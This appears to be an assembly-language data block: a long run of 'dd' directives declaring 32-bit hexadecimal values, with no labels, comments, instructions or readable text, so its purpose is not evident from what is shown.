dd 121CF018h, 11C1D08h, 80B91E80h, 8B0EC020h, 31473h, 0EE930C69h
dd 0F29FEDAh, 2C6EE000h, 8C046865h, 43C43EB5h, 20748680h
dd 80401C93h, 758D3803h, 0F9601317h, 2870A203h, 53620B72h
dd 0CC80C214h, 55B39296h, 4A00DB79h, 541825BCh, 852120h
dd 0A542F4ADh, 0DE973E16h, 3441331Fh, 2B1A8179h, 85240F4Ch
dd 1D453E9h, 0C9E7A06Fh, 0C2C40709h, 0D021E365h, 0FACF4F94h
dd 127113Ch, 0BD47B85Bh, 0EC85422h, 4CBE00B0h, 6303E179h
dd 443D6C61h, 65768072h, 0EC749530h, 3A430E50h, 75A0CCB4h
dd 6C118721h, 1D7CA13Bh, 9C80890Ah, 0C58B730h, 87D4009Fh
dd 0DB45C6E1h, 100009BFh, 404D8D43h, 50DA1463h, 0D9B45Ch
dd 74C3FB3Ah, 0E9870CBEh, 0F1044F98h, 63DE9515h, 0CCC0F2C7h
dd 75804CFEh, 755A00F3h, 0E7F9DF5Fh, 550025DDh, 450F43Bh
dd 1F84F335h, 336F42h, 9F90E82Eh, 0CC00E446h, 0DC09E03Fh
dd 1F41F1h, 17122211h, 870D072Bh, 0AF0F8000h, 9CADC75h
dd 0B8A02E0h, 3EF708BAh, 0EC55D660h, 0CA6C51Eh, 89F8F3CAh
dd 0D9B47C01h, 50E46E53h, 232A0208h, 28877141h, 3B83FC80h
dd 76B8D12Eh, 0E10A300h, 0DD114178h, 0B66E0003h, 72040C28h
dd 8A7B1812h, 3A3901F2h, 0E758250h, 41020742h, 78E95303h
dd 1CCBC4h, 522249FFh, 85BABE45h, 0A2315D00h, 0A36F5853h
dd 0FFC50F11h, 88E0C733h, 5A65372Bh, 0FE2A8200h, 0C0B70F02h
dd 0F84D0067h, 9A72F9B5h, 8F076D17h, 0E78BAAFDh, 2ABF0370h
dd 311600CFh, 58633F23h, 6DF6D761h, 0FC55C000h, 8D95FA2Ch
dd 91BD072Ah, 0B0EA4C39h, 5F0B4D93h, 1D7D8F00h, 909C1FBCh
dd 0AEAD0141h, 0C55880D6h, 70182023h, 1DCCA13Bh, 5280880Ah
dd 0EC2CA7D4h, 54A3022Dh, 29B63D8Dh, 0A51A0560h, 0EB97E48h
dd 0E0F3CB9Ch, 440C2A20h, 5089077Ch, 51100DD1h, 61E91977h
dd 0A6C3202Fh, 1500E8F4h, 28799020h, 2D058Bh, 1CDB313Fh
dd 0DAC043C1h, 74D80100h, 0E31DD112h, 0C0E0072h, 0F61485E1h
dd 0E42CC8FCh, 7300CBDAh, 785152F2h, 0FB600023h, 0C131A00Dh
dd 20E14E1h, 54B98Dh, 0AEF3FD4Fh, 790B8FCh, 1CA483ACh
dd 0E9ABA204h, 70816641h, 4717BA62h, 0C50040A7h, 27A09184h
dd 24F50774h, 0F8FA80h, 0FC1390Dh, 920060FEh, 1D495057h
dd 8CFE89h, 0EE475DDBh, 159862B8h, 81268D7Dh, 1612E344h
dd 0AE80841Fh, 1418F51Bh, 42933A84h, 0BB00753Bh, 7378E5A7h
dd 2300A56Ah, 3E797769h, 8D760Ah, 56423514h, 0F429DBB2h
dd 5C0038EEh, 0EA72A5EBh, 0E2D14B0h, 39FC5A61h, 905C7C0h
dd 93E47648h, 458C3C00h, 94BAEC3Eh, 75F500C5h, 9198548Bh
dd 0C10074B1h, 3A77EF56h, 0A9D319h, 0EBE2BB0Dh, 4910434Fh
dd 0DD07901Fh, 75623000h, 26961Bh, 0E9855BA5h, 103D154Ch
dd 0A316A80Fh, 0B9A9E7A7h, 147D8BD0h, 5FB60028h, 8F805E5Bh
dd 173936E9h, 95380C9h, 480F34C3h, 4CAE4C41h, 7794050Ch
dd 830011BCh, 0C958F631h, 0D9B81Ch, 240A7EFFh, 0F70545B5h
dd 0C201E300h, 0DF8DD284h, 35460E1Ch, 89800615h, 40E3E2D7h
dd 14012A07h, 3C203B11h, 1E4199F0h, 0C08944BEh, 1525F7FEh
dd 0C3006978h, 3519010h, 0B823A905h, 495A038Eh, 7180A5C8h
dd 790407E0h, 93893200h, 46B0095Ch, 82DC1FE2h, 0A314C084h
dd 0BA1C1318h, 97920400h, 0E8BF6793h, 0CCA006Fh, 0B2FF9415h
dd 3D008BC5h, 0D43B060Eh, 7D485Ch, 82B13E2Ch, 1A72D939h
dd 8D6C9000h, 9149E534h, 3C75DDh, 0A47DA6F8h, 460FA712h
dd 0E1541A00h, 7C8848A5h, 77190094h, 4CEFEA99h, 0FF073534h
dd 4D21832h, 0A8C35B40h, 0AA4A3D3Eh, 0DDF43080h, 0F640616Eh
dd 0FA81F800h, 4BBF4F0Ah, 878A00D1h, 0FDA68846h, 0F62E410Ch
dd 0BB0EF43Dh, 27902023h, 3AF8F06Ah, 190096F9h, 0D5D20A0Ch
dd 100E954h, 0D3445E9Fh, 0D8EE02h, 9B750852h, 48711CDDh
dd 2AC31000h, 3B558F8h, 33C812A0h, 8FF05DBh, 57A9019Fh
dd 0FC2DE241h, 0C174D0D2h, 8A49C200h, 8EF83BCAh, 73200FBh
dd 87D5355Ah, 9D0088F1h, 0C8D0E44Ch, 184351C1h, 66085D3Bh
dd 42001D40h, 0EFD6934Eh, 1F90ABDCh, 40106A12h, 3075448Dh
dd 0AC09B93Fh, 9109B5h, 0F5EF123Eh, 8BF61EC4h, 0DD807E06h
dd 0BE11F9ECh, 0CA2C4128h, 803FF28Dh, 0E0EB4AD6h, 5BF782h
dd 0F8C7448Ch, 0D0FB5FEFh, 4A8A330Fh, 95F58013h, 3FF0DA2h
dd 0F72765C5h, 56D0B614h, 85395917h, 0CB4800EAh, 0D947EBCh
dd 158A0582h, 81615E4Ch, 0F00F1032h, 35170BC3h, 700F3C5h
dd 0E37F02BAh, 0B1E40074h, 0C8F26FA9h, 9C00A892h, 0F385E83Eh
dd 127B81h, 8B414C87h, 0D03D1880h, 0D6732600h, 830FDFA7h
dd 124300E5h, 60890C24h, 0DF901A90h, 59EF1000h, 5D88A03h
dd 352900CBh, 0BA37DCD2h, 7200DAC1h, 22124E1Fh, 1772110h
dd 0C6F7690Dh, 402BACCEh, 0CB2519B0h, 1F947500h, 0DD1802F3h
dd 5E1D0064h, 913BA40h, 0E800CEFAh, 0F535AE4Ah, 53CCA9h
dd 0D9D24EFFh, 897F4801h, 16C90A07h, 64C158FCh, 0E6600E19h
dd 2833B32h, 3E92042Ch, 3B66A080h, 7127506h, 76C98500h
dd 45BE8B20h, 0EEFC2C5Dh, 814000Bh, 21612EBh, 0C00017Ah
dd 0D400EC0h, 355449h, 41CE751Bh, 8289AC08h, 0EAA4F800h
dd 4790C362h, 142D00DCh, 3EE091FBh, 1500EE21h, 0EC2906C0h
dd 0F01F84h, 1DC8BD4Ch, 0FC485FB9h, 0EFE06B02h, 0F58E412Dh
dd 344F9B40h, 0D029EDF5h, 0C50079B7h, 4ACCBD43h, 4FB67h
dd 0A0380C4h, 8B87558Dh, 351DD77Dh, 49001EB5h, 1AB940C6h
dd 19FA00C4h, 1624DEC0h, 0B100DF77h, 9B7A8528h, 70CAA1Dh
dd 899E2099h, 1A7FB0FBh, 24008E01h, 7027CA11h, 0FCDFF045h
dd 320D0598h, 802EE2E9h, 9B89110Fh, 50003E71h, 25F5E86Fh
dd 1A6DC9h, 2DAF884Ah, 0BD830685h, 9847E40Fh, 0EB2BA108h
dd 0B02E7E1Ch, 7500F25Dh, 43C61611h, 28FB05h, 0C134E94Ah
dd 0A282701Dh, 1C8E9507h, 857214C0h, 0D7C0C0D2h, 0B4481FA0h
dd 5C80FAEAh, 0F78023Ah, 0F7008537h, 0B26BBA13h, 710D49Ch
dd 80792075h, 1757D054h, 11001993h, 0D2515303h, 0A04D14h
dd 0F78B4781h, 0D0AA4256h, 9EFFB300h, 0E8FCEF51h, 136100D3h
dd 7F468A3Ch, 88050920h, 699D7F9h, 87578580h, 30871C2h
dd 0A2B45005h, 604C6A8Eh, 4DE82C66h, 49271B00h, 0C0223Dh
dd 0BAE12A76h, 0AA922E38h, 7B430700h, 0EE811EE0h, 971400A2h
dd 754F8568h, 0A91328E2h, 6100CA21h, 951ABB92h, 610D0705h
dd 50201253h, 915189D4h, 80D00E3Ch, 3C4F9BE8h, 1F7F55h
dd 522228DCh, 0A11392F0h, 0E6E55800h, 309419D1h, 21F53F59h
dd 0D740A00h, 0ADD73C84h, 4300EC90h, 564B5E2Ah, 1C212C30h
dd 0DE1D5960h, 40B51F5Bh, 792A4D6h, 2C037389h, 852E56DDh
dd 352DA0FCh
dd 6B6C1EE9h, 0C0655D64h, 991257C2h, 0AB735B30h, 6800C4E8h
dd 164E912Dh, 0AF6CB8h, 0C20B9557h, 0C050C194h, 2DAD2201h
dd 49AC5C90h, 4021FD40h, 6C7002Ch, 2811D6D4h, 9B03CB42h
dd 22431AFDh, 7AD998AAh, 4330093h, 3C60ABCh, 0C9009901h
dd 6F8B29DEh, 75B9A609h, 116500A5h, 5B73A488h, 1AE626C7h
dd 535D7401h, 41243EF9h, 0D794E8h, 8DD38549h, 0E8CB3122h
dd 7B80BE1Eh, 4C7E04C0h, 1FBAE619h, 402F2BE1h, 0F62E284Ah
dd 46FE2D42h, 52D6EE00h, 92B6E74Fh, 2AB3008Dh, 1CB95D65h
dd 2E1F29C4h, 80E7438h, 4254C730h, 17AF9770h, 3F59FA90h
dd 0EC00F7F0h, 0CF806A9h, 0E4008AF4h, 89FC7E5Fh, 0F100F41h
dd 53A22F3Eh, 3B2C9FA0h, 8000550Eh, 0A9F752B9h, 77138B2Ah
dd 1AA80796h, 0B008F49Fh, 4A95651Dh, 54855600h, 5E2F412Eh
dd 6570E776h, 0AA810057h, 80744965h, 0BE0207F0h, 0EB0F0263h
dd 0B24DE005h, 7F17F8C1h, 0EC880E11h, 29604276h, 5245CC6h
dd 55455900h, 0EB3125B2h, 93AF00CAh, 5C7D1404h, 0E1002CBCh
dd 100E2F71h, 77F1799Ch, 9A0A0078h, 0EC6EDF3Eh, 52000B44h
dd 7367650Eh, 0EE9320h, 0D3815A84h, 9B64C883h, 71BF1800h
dd 17514794h, 93F20052h, 31D0811Fh, 0F80039D2h, 41D7408h
dd 5275F7h, 9A16B192h, 730A8BB0h, 806D400h, 95419FE8h
dd 0B8495F01h, 0B87E007Eh, 9451A25Ch, 740C0018h, 76453AF4h
dd 6F3ED5EFh, 0BD200735h, 95F00A9Eh, 3CE25EAh, 0DB481408h
dd 0F7A0D81Eh, 3D00A5D0h, 8A9018A9h, 7BC8FE04h, 6CF100F6h
dd 59AD14B9h, 107D865h, 0C7D8051h, 0BBF27F50h, 5AEB0039h
dd 1FE81A03h, 0C8005220h, 0E224D455h, 0F45148Ah, 4D485D37h
dd 0D03BA520h, 46BE5105h, 0D800912Eh, 46048D21h, 0AA9E00C0h
dd 696FB20h, 0D900AB10h, 0FAEBFC4h, 98177504h, 95700023h
dd 16F2B8D8h, 0BE005CD4h, 0F8573ECEh, 54964h, 0B814922Ah
dd 6741526h, 5869A703h, 0D8D1D7C2h, 13F681Ch, 3323E1FDh
dd 0D8458850h, 10FA03B2h, 48A05D3Dh, 7ED20333h, 0C0800F40h
dd 704CA3Eh, 5E0E8803h, 304AC7C3h, 0C40C51F1h, 0B2262F07h
dd 3A701B39h, 7A66320Eh, 2E467588h, 0E5F45Ah, 5DD05110h
dd 0E800F83Eh, 0D825996Fh, 730BEE89h, 4FAE0h, 0C822B7Ch
dd 265FAD56h, 2ACBC907h, 5B7046FBh, 16BD1A21h, 0D0A58h
dd 1E8CED37h, 7800A06Bh, 0FF21CC43h, 274D10h, 60DEDF75h
dd 7DF9B1E7h, 0A7B36400h, 0EB2AC154h, 24A90707h, 57EA5953h
dd 0F57A501Fh, 84002065h, 2C413249h, 7944A0h, 70B8220Ah
dd 62FB53BDh, 190507Fh, 3300A0FCh, 13156A8h, 200BE5h, 5C15D524h
dd 6051F8C6h, 0DB040801h, 2BAB4533h, 59C29E4h, 1D1CF527h
dd 10F28019h, 13001109h, 87D18512h, 0EE881848h, 44012C1Ch
dd 57003F59h, 0D5721571h, 2D00B479h, 0DF5AD4F6h, 44CBD6Dh
dd 503089D9h, 338C8004h, 0A00CFD2h, 8D88EF18h, 219C11h
dd 0C36847C6h, 0E27B7880h, 0B055500h, 22CA2EBAh, 60570044h
dd 4B011029h, 2801FA5Fh, 16BE5250h, 4C4CB24h, 0D58300B3h
dd 0A981FBEBh, 9100187Ah, 235060Ch, 0E2A876h, 5A402D7Ch
dd 52643155h, 83762AE4h, 0A6187800h, 14D98906h, 0FCCE78FFh
dd 5A540E40h, 1CAFE4DDh, 0A42BFAC3h, 830C1AA0h, 7430682Eh
dd 14020800h, 0FE6A24B2h, 3F40F60h, 0AA0129B0h, 0CED8AC10h
dd 808A3EC0h, 0AF49741Fh, 0DCE82B00h, 0E2F8B2h, 8DFC864Ah
dd 0D65048A4h, 7F000D7Eh, 0C52F4423h, 7380C96Dh, 90D300A8h
dd 6774292Eh, 32003BD9h, 1120C61h, 2036A5Bh, 0AB574555h
dd 946330C3h, 2D9935EBh, 9014D05Eh, 1C8ACD1Fh, 66B000B9h
dd 0CE81DCAAh, 0C2D80088h, 0C457016Ah, 430060C3h, 0F87D89A3h
dd 2F6FFABh, 996625A7h, 4ADEEF7Eh, 3302C900h, 10CE307h
dd 1C8D180Bh, 0D8C26938h, 9B1E825Ch, 0EC00428Ah, 8BF697C8h
dd 0ABBC0229h, 519ACAA1h, 864BC640h, 5045480Ah, 500B91Fh
dd 44F0E83Fh, 34CE0095h, 7DDB1EC3h, 0FE033E09h, 1058E665h
dd 0E7C0F8CDh, 0EA310066h, 110DA5C3h, 100A229h, 0DC1C5E06h
dd 86957Eh, 70FEF684h, 80905214h, 0D821E500h, 7D05253Bh
dd 4280E2Eh, 0A54261A6h, 0D0609FA0h, 1C002DE3h, 715FC831h
dd 934335h, 8D092280h, 89A59644h, 6610B900h, 148EBB8h
dd 55500018h, 0C395CCCFh, 8300021Fh, 20CD0C10h, 0B0067Dh
dd 6CE8AAF2h, 0F312C879h, 80037BFEh, 363E2E26h, 6A65D064h
dd 0CD770006h, 234D836Dh, 9DB0145Bh, 15A65E14h, 0A39400D5h
dd 0BEA09A95h, 74EB0D3h, 3F8624FEh, 0E72230D2h, 420F01B7h
dd 56A57h, 0F2088AECh, 3B580051h, 0C24AE5FDh, 0A258FCDDh
dd 452401DBh, 4E776905h, 3491E8h, 0D317DB79h, 0A1C267Ah
dd 9DC0C100h, 0A6C81DE0h, 0F7070142h, 0D8C3F8C2h, 0FF2FD983h
dd 10B3D0F0h, 0E801E074h, 601316FFh, 0CF0E6Ah, 2D461C66h
dd 7C09E381h, 0B6430403h, 0C0C0D3A0h, 0D80108h, 48469466h
dd 65AD7AAAh, 745A3401h, 0C081D9C8h, 0D8D0D0h, 85CCFCE0h
dd 26076B24h, 303CC200h, 0ED805889h, 66813BB3h, 5AA59Fh
dd 0D485F442h, 1000D07Ah, 3738273Fh, 0A241B6h, 0B804129Ah
dd 8B2EC6AAh, 0ED779201h, 0B151520Ah, 45AC0E0h, 0B88DC850h
dd 0D137837Ch, 38302880h, 130B0300h, 2B230A1Bh, 0AA5E0033h
dd 8084B14Ah, 0A200C0C7h, 6AB550B6h, 1D35C5AEh, 3EF58B98h
dd 0CAB803F9h, 335868F2h, 2B0328D8h, 44DB300h, 37F3C43Fh
dd 1733C55h, 5663004h, 0BA1DC044h, 1D0FD276h, 405D786Ah
dd 0FEE16753h, 6E010028h, 91F93538h, 22009409h, 0DAC144AAh
dd 16EC89h, 693E552h, 92EA3FEh, 3133E81Eh, 1EA6C74Ch, 841403FDh
dd 0A272F03h, 0E1F810C8h, 0D302B00h, 0EF4155A9h, 2DD500B0h
dd 0D3B11994h, 3C031532h, 33527B12h, 0E117E36Ch, 5EE83407h
dd 0CDF15898h, 8FE5300h, 0EC1EFF26h, 91FD1400h, 65C2ADE1h
dd 47823B42h, 6E32EE80h, 0CB135C7Ch, 0AC841000h, 0D99CA548h
dd 0A62D0042h, 2985E80Ch, 36FA4430h, 0B8310800h, 2371409h
dd 0CC240764h, 0D0951A52h, 9BA9BDC5h, 92D7B700h, 0E7E3104Dh
dd 776A3A1Bh, 7D249500h, 4C568F01h, 0E45C0C00h, 401563A6h
dd 0C5D90050h, 2C8B2943h, 0B4014E93h, 7410623Ah, 3FE8B514h
dd 19A30FC2h, 31270A2Bh, 0F037E771h, 12A6BA1h, 723A630Fh
dd 6469F2h, 8230B07Dh, 43AA1EB6h, 0E889006Dh, 9EEA85EFh
dd 0C3E33400h, 0C0BBB121h, 31AA3A35h, 0F184B303h, 0C3A51F04h
dd 3BA80628h, 3A3064A0h, 9160FE09h, 7522306Ch, 8EAA6860h
dd 0E4DAF200h, 80142E66h, 0D4503AC0h, 1F096A81h, 0E55185CEh
dd 0EAE7EC89h, 835D8200h, 0FECA522Dh, 0C7B900AAh, 1015944Fh
dd 88002A93h, 28AB5168h, 1F83F0B4h, 0F10C6Dh, 0EC174BEEh
dd 6500E035h, 62C45EE1h, 0FE4E344h, 9514E589h, 29F3620h
dd 0FA00A2BBh, 488858B5h, 2B082Ch, 940183Ch, 0AA49FFB0h
dd 7393C500h, 5328BF07h, 641500C3h, 99200634h, 2B0578DDh
dd 5B5C1189h, 60A478C2h, 30AEB15h, 0EC4502FAh, 0ADD85852h
dd 3B004683h, 0FFAE6787h, 581849B9h, 0BE3E568Fh, 0F8712ACh
dd 96C0A938h, 2C52D426h, 702AE309h, 0B6A83E4h, 3EEF9011h
dd 0CEB8001Ah, 8F748D2h, 0AF982792h, 371D64F4h, 74ECAC16h
dd 9880C21Ch, 0A5349714h, 7D2D0F72h, 19404312h, 0EC9E3937h
dd 0A446A00h, 0CE64AA58h, 5F8500D0h, 3C3DC93Fh, 0AD39DE9Fh
dd 75138059h, 508388EBh, 0A4C700AAh, 152553C6h, 2D004FF3h
dd 791E3AFCh, 9A5BF8h, 1241FE5h, 0AF11E459h, 0D0033D00h
dd 708498A4h, 0FEF28Fh, 736B6FF2h, 8CAA5524h, 8E749001h
dd 5E9219A7h, 2785F8h, 8503D10h, 2F0C2E64h, 48F83E0Ah
dd 8F00CDC6h, 5F4452B8h, 190A00E5h, 0AFF49940h, 0CD3A7180h
dd 0C2248012h, 826F8A62h, 796E1DA6h, 85550303h, 2EB1215Eh
dd 0A580F056h, 10658100h, 29DF4131h, 3D8F774Fh, 46002FC6h
dd 97A323Fh, 0C500249Ch, 0E8842B54h, 40B3F7h, 37181665h
dd 53429AFBh, 1331EA0Eh, 5F0E67EDh, 263A62C0h, 1493008Dh
dd 97103644h, 0D6755420h, 0F3619801h, 453B92DEh, 40CC32E9h
dd 4333CA9h, 0A126B700h, 29CA5C91h, 862B5B01h, 141CF92Fh
dd 0C62D30h, 0FBA1FE45h, 83C22D7Fh, 400EBF8h, 6A762170h
dd 136FCA5h, 75323C48h, 0C8180C24h, 0AE0F1499h, 0E0232091h
dd 100EEB29h, 0F09004Bh, 12AFAA95h, 0AC38C21Fh, 47F20079h
dd 4402652Ah, 407009F5h, 0DA8006F1h, 22F77ED2h, 1C1DE2FEh
dd 0B3262D45h, 91BDC600h, 687130h, 33485E79h, 0FA8A4FFCh
dd 28A97B00h, 39261980h, 2F7400F5h, 5DF45FC4h, 2200915Eh
dd 0F86594CAh, 0E8CEB09Ah, 0E6B89Dh, 9C14B218h, 2A0B24C3h
dd 0B0790800h, 8DFC5309h, 7D4EA48h, 5BC3048Ah, 212450DDh
dd 0D200AAB7h, 0DB94719Ch, 6F5F44Bh, 0B23A4BBh, 0C20098D1h
dd 3E988ACBh, 802113h, 7426C084h, 87ABF417h, 31A9CF02h
dd 8FA7FABFh, 76FCC086h, 0B42CDADh, 3D023267h, 48662A80h
dd 3F0044C4h, 2893DB49h, 3B5638A1h, 539DB732h, 3E8647Fh
dd 2018421Ch, 9F0243A8h, 3D90A13Dh, 0FF93EC8h, 20BCD91Eh
dd 41B1D44Fh, 11010033h, 0A4400343h, 6700DE34h, 0D8B4D753h
dd 88FC3Fh, 0DAAD330Ch, 24CDC029h, 0F753FE00h, 1CA7A5D2h
dd 3E500195h, 91DFC8A8h, 0B24460B5h, 55AFF39h, 17314FEBh
dd 6A697F80h, 5B301E21h, 63FC09Eh, 56846B4Ah, 0D3A38B2Ch
dd 0D044CF07h, 32EB6D70h, 40B20007h, 343F0937h, 26002D1Fh
dd 18465698h, 0F48071B5h, 0CC020035h, 0EE4CDA24h, 40001E09h
dd 8339B045h, 0D5CFAAh, 0A81AC91Ch, 0BBA5EDDAh, 5A962F0Eh
dd 0D748C0A4h, 0F3FE63Ah, 35252991h, 0C717BB60h, 1D006434h
dd 0A2D3D2E2h, 0E14F6Ah, 0B345233Eh, 20A9840Ch, 0E4EC3Ah
dd 0AA5382B6h, 4C092293h, 0B00FFBADh, 4FAF8157h, 0C010DA47h
dd 0F8BC1F2Ah, 9E031BB8h, 79BF4A85h, 6425A0FBh, 0A60C0F17h
dd 758F9339h, 7DD8C560h, 0ED7A8D35h, 0E4A83700h, 0D6561CCEh
dd 636E2A1h, 3465401h, 76007662h, 0E8028891h, 30D7B5Ah
dd 707E843Bh, 0F0F77A85h, 0AC758224h, 0D1E62798h, 9F952200h
dd 0D12A4FCh, 7A340047h, 0E804C8B9h, 7E3CC0ADh, 8770808Eh
dd 4DBEE269h, 54F20E3Eh, 9767FC24h, 8BA4D08Fh, 76072B5Ch
dd 0B5BCC025h, 0B752B620h, 0F0F6F1h, 0D092717Ah, 0FE81385Ah
dd 13DF8C00h, 883F0848h, 0A58B01B0h, 5E956B77h, 0BBBD3092h
dd 0D3005BF0h, 2704F3F0h, 11B974h, 9669508Ah, 1729BBC4h
dd 587CC80Bh, 0FBCF0048h, 3EED805Ch, 0FD00C74Eh, 35BFC195h
dd 320009E5h, 0E1731E82h, 85CA3Bh, 54862F07h, 109E6AE7h
dd 37B47E01h, 4E05ACBEh, 0B16FE8C7h, 393B3827h, 7822F980h
dd 0BF8EC59h, 6A3A401Ch, 0C38C49C0h, 2AFE909h, 97B4ED7Ah
dd 11601674h, 2FE21CC7h, 0B1283C00h, 0DF1ECBF9h, 0AD3D00DDh
dd 8AFA2730h, 653A22D2h, 34F49E60h, 9FCF3B40h, 961152h
dd 0FF8E2E25h, 553C0310h, 0AF04E4E5h, 1B0061F2h, 0D5A71477h
dd 37F4062h, 0A23F9A2Ch, 0C590832Eh, 9D054B6Ah, 0C35691Fh
dd 455ACD00h, 0E79117h, 324A8110h, 22C2098Fh, 0EFB8B000h
dd 0D6E22EFCh, 0AEEE00A7h, 5F74DADFh, 6A00B945h, 0BA8D4CD5h
dd 1BDE453h, 0D6F8A032h, 0CC653B40h, 0C8168E4Bh, 6603B809h
dd 88C9172Fh, 16D1CD99h, 0CF27A9h, 0D3672D0Fh, 4B00246Ah
dd 0C73D9C15h, 388712h, 0E1B5358Eh, 207B3AD8h, 3C5A101Ch
dd 0A14C2FCFh, 0EA9E0942h, 0C732D8h, 14FB89B0h, 3CDDA53Ah
dd 0A75DD901h, 932156D8h, 0B795A0E3h, 20B80010h, 8CBF553Dh
dd 7E0007F8h, 407D42FDh, 505AA41Fh, 722BF1DAh, 25180EA7h
dd 8CE0336Dh, 0C81E1479h, 47895C00h, 9298714Dh, 4ED51D64h
dd 7D2E40F1h, 0E637DA78h, 46B9C400h, 4B363A3h, 0BCB41CD0h
dd 0DDCEC0ECh, 0E06F25DFh, 7668EA0Fh, 603E4E20h, 3B644E2Bh
dd 487109h, 22759166h, 0A9944487h, 15BD8900h, 79566AA8h
dd 3A430913h, 5900DBB3h, 0A2580693h, 1D52FB00h, 9E947E59h
dd 1E3600F5h, 0CB349525h, 0AA003308h, 0A7E4C068h, 0F27AC322h
dd 2BE00051h, 6B0D85E6h, 0B03F1F6Ch, 6919DA4h, 0F64C880h
dd 4815F4CAh, 0C4002940h, 24269DF7h, 8D00090Ah, 6B5867EBh
dd 0E106F0h, 86C403AFh, 912C2040h, 2A621D01h, 4F28023Fh
dd 0B866F8h, 0A2F49C92h, 1C575E09h, 0DF956700h, 729A3F2Eh
dd 0A1651C96h, 0B2444140h, 70CAFDE2h, 1A07551Bh, 74B66068h
dd 8C9C9ED0h, 0B99D0042h, 0C8596D4Eh, 38C01CECh, 0CAFC4F7h
dd 54D20050h, 2C634585h, 4100723Bh, 154A0B4Fh, 355ECBh
dd 70AC4EA8h, 5FD5BD1h, 95796406h, 90740B9Dh, 11FEE7h
dd 2DAD3FB5h, 0A66E64E7h, 0A410500h, 0E3AFB666h, 3C6AF609h
dd 0F300FCBBh, 1354B0Bh, 9800FAC6h, 0C046D13h, 901C4E06h
dd 0A4AA0075h, 8DB8F011h, 2400640Ah, 0F243AB04h, 15007DEh
dd 0FF5F6AFBh, 0DC45E2DDh, 0B80BF7B9h, 80CE9504h, 0C451611Ch
dd 3DBA0EA4h, 0AE7C5F0h, 386A8088h, 3C039964h, 0A0108DA8h
dd 0D10B1DACh, 423483F2h, 14D8B2D8h, 0EF486A4Eh, 27400086h
dd 96554152h, 4D050775h, 0A054BA08h, 0FC7328BBh, 68008C74h
dd 6B2F135Ch, 4E5142h, 0D55247C2h, 0DE9DA396h, 43DA4100h
dd 77A98F27h, 2DAC00C5h, 3A1DA6DFh, 7E009D30h, 0D76967EDh
dd 13CA6Eh, 588DBADh, 847D8351h, 76818700h, 0A19BCCB8h
dd 2D900089h, 98F50CE6h, 0D7975F4h, 0BB167B00h, 310157FDh
dd 0C353064Bh, 662230EBh, 130073B8h, 90FA0681h, 53B858h
dd 0AB2CDC59h, 30680D1Eh, 3E25E93Eh, 0FC059C73h, 0EFC350C1h
dd 70E4BDB3h, 0F2213EB5h, 34232CFFh, 0CD00F37h, 604485A7h
dd 31382433h, 80522831h, 54E41940h, 87C99h, 144B2C11h
dd 7955A41Ah, 74A17D07h, 8B9303E8h, 0F60AB024h, 0B35300DDh
dd 5010255Bh, 0BEE60D5h, 0E2308300h, 9750E01h, 487E00FFh
dd 0A7521AA1h, 400D50Ch, 62BEE0DEh, 8153A0h, 438FE831h
dd 3325D16Bh, 0E909D275h, 0EBB4B47h, 0C8EF80D3h, 0EF26610h
dd 0B40A657Bh, 0AF80FEEEh, 5312EC43h, 295EEF0Eh, 7206803Ah
dd 7BA2EAh, 7885463Bh, 0FAFFD11Ch, 0D76C0E03h, 80FE4F0Fh
dd 472A7Ch, 7E8BF633h, 62C074C6h, 52605307h, 0D1B77718h
dd 0C297BC0h, 12440F9Fh, 0CC20F804h, 1A4626FFh, 0D9754F01h
dd 0A4DC4381h, 7FF59AE8h, 1C2C072Ah, 30D6AB18h, 373FE828h
dd 1AC758h, 0EC99EA24h, 5FA858h, 264C4442h, 5B2DAF53h
dd 0E094D500h, 3B1C98C4h, 74F9A0BEh, 547300ECh, 3ED6AA20h
dd 5198E2C1h, 5F184300h, 89652E7Ah, 545E0B24h, 360040D0h
dd 0E40594B1h, 7E75D40Eh, 81CC3A1h, 4842C020h, 50EEA6h
dd 19D0DC7Ch, 0D3245303h
dd 70463700h, 18C2A028h, 1834FA89h, 5A12FF82h, 0FC00AF74h
dd 5F39DB31h, 0D8E2B0h, 7E1DFD94h, 7CF60542h, 82000EE6h
dd 680AA21Ch, 974A18h, 40A5EB63h, 37148D3Eh, 4BC23B00h
dd 0B2D6FB7Dh, 0EE7717h, 910C1867h, 0C7D7C6B7h, 0AFC8A500h
dd 7F95A215h, 0B0040017h, 82D4BC92h, 1C007B29h, 0E0E8515Fh
dd 0F303231h, 330A440Dh, 9B0C960h, 3B02010Bh, 67D1C50h
dd 49DB608Bh, 9076010Ch, 78C3C129h, 7EB8304Ah, 5A8C081Dh
dd 7F56CA40h, 1749BBh, 48DA1A32h, 71546CB9h, 731F9E7Bh
dd 3D817256h, 75D13C89h, 868042BCh, 2C438890h, 9C71BE97h
dd 4548CB00h, 58FDAD80h, 0CA1F2820h, 0E81201E8h, 94684693h
dd 7034E4D8h, 7E0E37F6h, 0E0B7C11Bh, 0FED74E97h, 0F7C0302h
dd 6D3D7AF5h, 601F4DF8h, 0D2F13304h, 3F822D37h, 88B3638Ah
dd 0FA092h, 2808FD16h, 0E29C5E48h, 0FE00187Ch, 24B6BA8Ch
dd 4E99E1h, 3172403Bh, 20A621EEh, 9028A900h, 8DFEF55Eh
dd 54BF001Eh, 51C4D9A0h, 4470AB0Fh, 1C4BFF00h, 38BB5D9Dh
dd 0FEA7132h, 7607B91h, 149500D7h, 0AAD504F0h, 0F7303Bh
dd 5BDE97D1h, 107EB8Bh, 5DC9CAD4h, 0E8871067h, 0D50027E9h
dd 18D02325h, 2EDAED84h, 3F70A56Ah, 46FDC580h, 8E4769EAh
dd 0C3A1F400h, 838006C6h, 5198FFh, 0EF37107Eh, 0C4AA142Ah
dd 638A5D0Fh, 351E977Ch, 2FB42480h, 43D2D9h, 0CED555Ah
dd 70571908h, 871D79FAh, 54CF2088h, 803C004Ah, 638A551h
dd 58A2B891h, 89000B15h, 88BC461Eh, 0EA4E5690h, 1877F2h
dd 0EB1AC0Ah, 772E6D41h, 706A6200h, 7899DF60h, 14510010h
dd 22836350h, 7D5C4161h, 73760E0Dh, 0BF67606Eh, 44704Eh
dd 680E4A19h, 47667157h, 407C4100h, 6E727660h, 4CE900F9h
dd 6BC47ADDh, 6409F07Fh, 80A66974h, 534018CFh, 48770061h
dd 0B37C577Dh, 4E019046h, 7BE16ED3h, 62F89E67h, 8E700EF9h
dd 0FF1C1743h, 826C6F1Fh, 603B7165h, 731ECBC0h, 5F697D02h
dd 0E09EBE44h, 1E20AA15h, 800E1343h, 522A6670h, 71000C9Bh
dd 0EE4A7A73h, 0F888DE65h, 1243001Ch, 3637E72h, 61776D55h
